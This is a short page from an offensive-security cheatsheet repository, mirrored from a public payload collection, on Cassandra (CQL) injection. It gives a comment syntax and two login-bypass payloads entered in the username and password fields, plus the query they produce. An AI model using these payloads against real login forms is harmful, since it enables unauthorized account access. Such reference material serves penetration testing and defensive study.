repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
cassandra-injection.mdMarkdown67 lines2.3 KiBsource raw download

title: "Cassandra Injection" topic: "SQL Injection" topicSlug: "sql-injection" sourcePath: "SQL Injection/Cassandra Injection.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/Cassandra%20Injection.md" sha: "3ac27901c711" isReadme: false#

Cassandra Injection#

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.

Summary#

CQL Injection Limitations#

Cassandra Comment#

/* Cassandra Comment */

Cassandra Login Bypass#

Example #1#

username: admin' ALLOW FILTERING; %00
password: ANY

Example #2#

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

References#